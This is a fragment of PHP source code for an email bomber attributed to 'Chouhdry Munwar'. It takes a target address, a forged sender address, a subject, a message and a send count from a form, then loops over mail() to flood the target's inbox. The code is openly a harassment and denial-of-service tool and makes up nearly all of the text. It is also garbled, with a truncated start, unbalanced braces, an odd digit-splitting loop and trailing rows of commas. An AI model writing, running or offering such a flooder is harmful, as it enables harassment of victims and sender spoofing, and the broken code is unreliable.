Chouhdry Munwar
Chouhdry Munwar
--
Coded By: Chouhdry Munwar
--
';
else
if(strlen($_POST['emailToBomb']) > 5)
if(strlen($_POST['From']) > 5) {
if(is_numeric($_POST['AmountToSend']))
if(strlen($_POST['Subject']) > 3)
if(strlen($_POST['Message']))
$to = $_POST['emailToBomb'];
$subject = $_POST['Subject'];
$h=$_POST['AmountToSend'];
$message = $_POST['Message'];
$headers = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From: ' . $_POST['From'] . '<' . $_POST['From'] . '>' . "\r\n";
foreach (range(1,$h,1) as $number)
$too=str_split($number,1);
foreach($too as $numb){
mail($to, $subject, $message, $headers) or die('Error with STMP.');}}
echo "You have sent " . $_POST['AmountToSend'] . " emails to " . $_POST['emailToBomb'] . ".";
}
else {
echo "You must enter a message longer than 10 characters.";
}
}
else {
echo "Subject must be longer than 3 characters.";
}
}
else {
echo "You need to enter a valid number for amount emails to send.";
}
}
else {
echo "The from email must be atleast 5 characters long.";
}
}
else {
echo "The specified reciever needs to be atleast 5 characters long.";
}
}
?>
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,